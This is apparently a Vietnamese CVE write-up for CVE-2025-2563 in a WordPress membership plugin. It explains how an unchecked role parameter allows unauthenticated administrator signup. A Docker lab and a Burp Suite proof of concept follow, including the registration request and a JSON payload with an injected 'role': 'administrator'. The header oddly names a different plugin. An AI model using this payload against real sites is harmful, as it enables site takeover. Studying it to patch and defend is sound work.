User Registration & Membership - CVE-2025-2563
CVE & Basic Info
Product WordPress Fox LMS Plugin CVE ID CVE-2025-2563.
- CVE ID:CVE-2025-2563
- Vulnerability Type:CWE-639 Authorization Bypass Through User-Controlled Key
- Affected Versions:Free < 4.1.2, Pro < 5.1.2
- Patched Versions:4.1.2, 5.1.2
- CVSS Severity:High(8.1)
Giới thiệu
CVE-2025-2563 là một lỗ hổng bảo mật thuộc nhóm leo thang đặc quyền (Privilege Escalation), ảnh hưởng đến plugin User Registration & Membership trên nền tảng WordPress. Lỗ hổng này cho phép kẻ tấn công không cần xác thực có thể tạo tài khoản mới với quyền hạn cao, bao gồm cả quyền administrator, nếu plugin được cấu hình với Membership Addon đang hoạt động.
Plugin User Registration & Membership được sử dụng rộng rãi để xây dựng các hệ thống đăng ký người dùng, quản lý thành viên và phân quyền truy cập. Do đó, việc tồn tại một lỗ hổng cho phép chiếm quyền quản trị có thể dẫn đến rủi ro nghiêm trọng, đặc biệt với các website đang public trên Internet hoặc sử dụng WordPress làm CMS chính.
Lỗ hổng ảnh hưởng đến:
- Phiên bản free trước 4.1.2
- Phiên bản pro trước 5.1.2
Phân tích lỗ hổng
Nguyên nhân cốt lõi của CVE-2025-2563 xuất phát từ việc xử lý dữ liệu đăng ký người dùng không an toàn trong plugin. Cụ thể, trong quá trình tạo tài khoản mới, plugin cho phép một số tham số do phía client gửi lên được sử dụng trực tiếp để thiết lập thông tin người dùng, bao gồm cả vai trò (role).
Khi Membership Addon được bật, cơ chế kiểm soát role không được áp dụng đầy đủ. Plugin không thực hiện việc:
- Giới hạn danh sách role hợp lệ cho người dùng đăng ký
- Ép role mặc định (ví dụ: subscriber)
- Loại bỏ hoặc ghi đè các giá trị role nguy hiểm do người dùng tự chỉ định
Điều này dẫn đến tình huống kẻ tấn công có thể gửi một request đăng ký được chỉnh sửa thủ công, trong đó chỉ định role có quyền cao như administrator. Do plugin không kiểm tra hoặc không lọc giá trị này, tài khoản được tạo ra với đặc quyền tương ứng.
Về bản chất, đây là một logic flaw trong quá trình xử lý đăng ký, không yêu cầu bypass xác thực hay khai thác memory corruption, nhưng hậu quả lại đặc biệt nghiêm trọng vì liên quan trực tiếp đến quyền kiểm soát hệ thống.
Tác động bảo mật
Nếu khai thác thành công, lỗ hổng CVE-2025-2563 có thể dẫn đến:
- Chiếm quyền quản trị WordPress mà không cần tài khoản hợp lệ
- Toàn quyền thao tác nội dung website
- Cài đặt plugin hoặc theme độc hại
- Chèn backdoor, webshell hoặc mã thực thi tùy ý
- Truy cập và chỉnh sửa dữ liệu người dùng
Trong nhiều kịch bản thực tế, lỗ hổng này có thể trở thành điểm khởi đầu cho một chuỗi tấn công hoàn chỉnh nhằm chiếm quyền kiểm soát máy chủ.
Hướng tiếp cận Proof of Concept (PoC)
Phần Proof of Concept sẽ tập trung chứng minh rằng kẻ tấn công có thể:
- Gửi request đăng ký người dùng tới endpoint của plugin
- Chèn tham số role vào dữ liệu đăng ký
- Khiến hệ thống tạo tài khoản mới với quyền administrator
- Đăng nhập và xác nhận quyền quản trị trên WordPress dashboard
PoC sẽ được thực hiện trong môi trường kiểm thử, sử dụng phiên bản plugin bị ảnh hưởng và cấu hình mặc định với Membership Addon được bật.
Thiết lập môi trường thử nghiệm (Docker)
1.1 Cấu trúc thư mục
CVE-2025-2563/
├── docker-compose.yml
└── php/
└── uploads.ini1.2 Nội dung docker-compose.yml
services:
db:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wp
restart: always
wordpress:
image: wordpress:php8.1-apache
ports:
- "8081:80"
volumes:
- ./php/uploads.ini:/usr/local/etc/php/conf.d/uploads.ini
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: root
WORDPRESS_DB_NAME: wp
restart: alwaysNội dung uploads.ini
file_uploads=On
memory_limit=256M
upload_max_filesize=128M
post_max_size=128M
max_execution_time=300Ảnh màn hình 2026-01-09 lúc 14.43.47.png
Khởi chạy môi trường
docker compose up -dWordPress chạy tại:
http://localhost:8081
2. Giao diện đăng ký Membership (Public Form)
Ảnh màn hình 2026-01-09 lúc 14.48.39.png
Trang đăng ký membership hiển thị form public với các trường:
- Username
- User Email
- Password / Confirm Password
- Membership Field (Test CVE – Free)
Người dùng chưa đăng nhập vẫn có thể truy cập và submit form này.
3. Kết quả đăng ký bình thường (Baseline)
Sau khi submit form không chỉnh sửa request:
- Server trả về thông báo đăng ký thành công
- User mới xuất hiện trong WordPress Admin → Users
- Role hiển thị là Thành viên đăng ký
- Source: Default form
Ảnh màn hình 2026-01-09 lúc 14.50.00.png
Điều này khớp với ảnh danh sách user ban đầu, nơi tài khoản nhuthangcve2025 có role thấp.
4. Bắt request đăng ký bằng Burp Suite
Khi submit form, Burp Suite bắt được request gửi tới endpoint AJAX:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8081
Content-Type: application/x-www-form-urlencoded
action=user_registration_membership_register_member
&members_data=%7B%22membership%22%3A%2214%22%2C%22total%22%3A%220%22%2C%22payment_method%22%3A%22free%22%2C%22start_date%22%3A%222026-1-9%22%2C%22username%22%3A%22nhuthangcve2025%22%7D
&form_response=%7B%22username%22%3A%22nhuthangcve2025%22%2C%22success_message_position%22%3A%221%22%2C%22form_login_option%22%3A%220%22%2C%22redirect_timeout%22%3A%222000%22%2C%22registration_type%22%3A%22membership%22%7D
&_wpnonce=1693613adbẢnh màn hình 2026-01-09 lúc 14.51.55.png
5. Decode payload (theo ảnh Burp Decoder)
Sau khi decode members_data, payload có dạng:
{
"membership": "14",
"total": "0",
"payment_method": "free",
"start_date": "2026-1-9",
"username": "nhuthangcve2025"
}Ảnh màn hình 2026-01-09 lúc 14.53.52.png
Payload gốc không chứa trường role.
6. Proof of Concept – Chèn role Administrator
Tại Burp Repeater, chỉnh sửa members_data bằng cách thêm trường role:
{
"membership": "14",
"total": "0",
"payment_method": "free",
"start_date": "2026-1-9",
"username": "nhuthangcve2025",
"role": "administrator"
}Ảnh màn hình 2026-01-09 lúc 14.54.50.png
Encode lại payload và gửi request:
Ảnh màn hình 2026-01-09 lúc 14.53.10.png
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8081
action=user_registration_membership_register_member
&members_data=ENCODED_PAYLOAD_WITH_ROLE
&form_response=ENCODED_FORM_RESPONSE
&_wpnonce=1693613adb7. Response từ server
Server trả về HTTP 200 với nội dung:
{
"success": true,
"data": {
"member_id": "3",
"transaction_id": "",
"message": "New member has been successfully created."
}
}Ảnh màn hình 2026-01-09 lúc 14.55.46.png
8. Xác nhận leo thang đặc quyền
Kiểm tra WordPress Admin → Users:
- User
nhuthangcve2025tồn tại - Role hiển thị là Quản lý (Administrator)
- Source: Default form
- User có thể truy cập
/wp-admin/với toàn quyền
Danh sách user trong ảnh xác nhận nhiều tài khoản được tạo với role Quản lý thông qua cùng kỹ thuật.
Ảnh màn hình 2026-01-09 lúc 14.56.05.png